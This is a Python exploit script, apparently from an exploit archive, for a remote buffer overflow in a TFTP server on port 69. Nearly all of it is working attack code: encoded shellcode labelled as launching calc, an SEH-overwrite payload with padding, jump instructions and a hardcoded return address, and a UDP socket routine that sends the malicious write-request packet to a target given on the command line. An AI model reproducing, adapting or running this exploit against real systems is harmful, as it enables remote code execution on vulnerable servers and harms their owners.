#!/usr/bin/env python
#  This vuln is already owned by Muts ,
#  but i want to add the second methode
#  Note: we don't have more space for shellcode or Skape egghunter (23 bytes only) after SEH option
# I used the jump_back because is the best and easiest way for exploiting a SEH overwrite option
#
# Reference:
# http://www.exploit-db.com/exploits/5314
#

import sys
from socket import *

if (len(sys.argv) != 2):
    print "Usage:\t%s [target]" % sys.argv[0]
    sys.exit(0)

host = sys.argv[1]
port = 69

print "TFTP SERVER Buffer Overflow remote exploit "
print "Coded By Molotov - Moroccans Hackers"

# calc
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x30\x42\x50\x42\x30\x4b\x48\x45\x54\x4e\x53\x4b\x38\x4e\x57"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x38\x4f\x34\x4a\x51\x4b\x58"
"\x4f\x45\x42\x52\x41\x50\x4b\x4e\x49\x44\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x58\x42\x4c"
"\x46\x37\x47\x30\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x45\x46\x32\x41\x30\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x44"
"\x4b\x38\x4f\x55\x4e\x51\x41\x50\x4b\x4e\x4b\x48\x4e\x41\x4b\x48"
"\x41\x50\x4b\x4e\x49\x58\x4e\x35\x46\x42\x46\x30\x43\x4c\x41\x33"
"\x42\x4c\x46\x56\x4b\x58\x42\x44\x42\x43\x45\x48\x42\x4c\x4a\x37"
"\x4e\x50\x4b\x48\x42\x44\x4e\x30\x4b\x38\x42\x47\x4e\x41\x4d\x4a"
"\x4b\x38\x4a\x36\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b"
"\x42\x50\x42\x50\x42\x50\x4b\x38\x4a\x56\x4e\x33\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x35\x49\x48\x4a\x4f\x43\x38\x42\x4c\x4b\x57"
"\x42\x45\x4a\x56\x50\x37\x4a\x4d\x44\x4e\x43\x37\x4a\x56\x4a\x59"
"\x50\x4f\x4c\x38\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x46"
"\x4e\x56\x43\x56\x42\x30\x5a")

pad0x1 = 'A' * 400 # jumping the 0x00 monster :s
pad0x2 = 'A' * (1487 -len(shellcode)-400)
jump_back = '\xE9\xC1\xFB\xFF\xFF' # fly fly baby 
Short_jump = '\xEB\xf9\x90\x90' 
return_addr = '\x2b\x0e\x41\x00' # universal

mode = 'netascii'
payload = pad0x1 + shellcode + pad0x2 + jump_back + Short_jump + return_addr

Packet = "\x00\x02" + payload + "\0" + mode +"\0"

try:
    s = socket(AF_INET,SOCK_DGRAM)
    try:
        s.sendto(Packet, (host, port))
        print "[+] Sending the evil packet !!!"
    except:
        print "[-] send() error !"
    print "[+] Done "
except:
    print "[x] Socket() error!"
    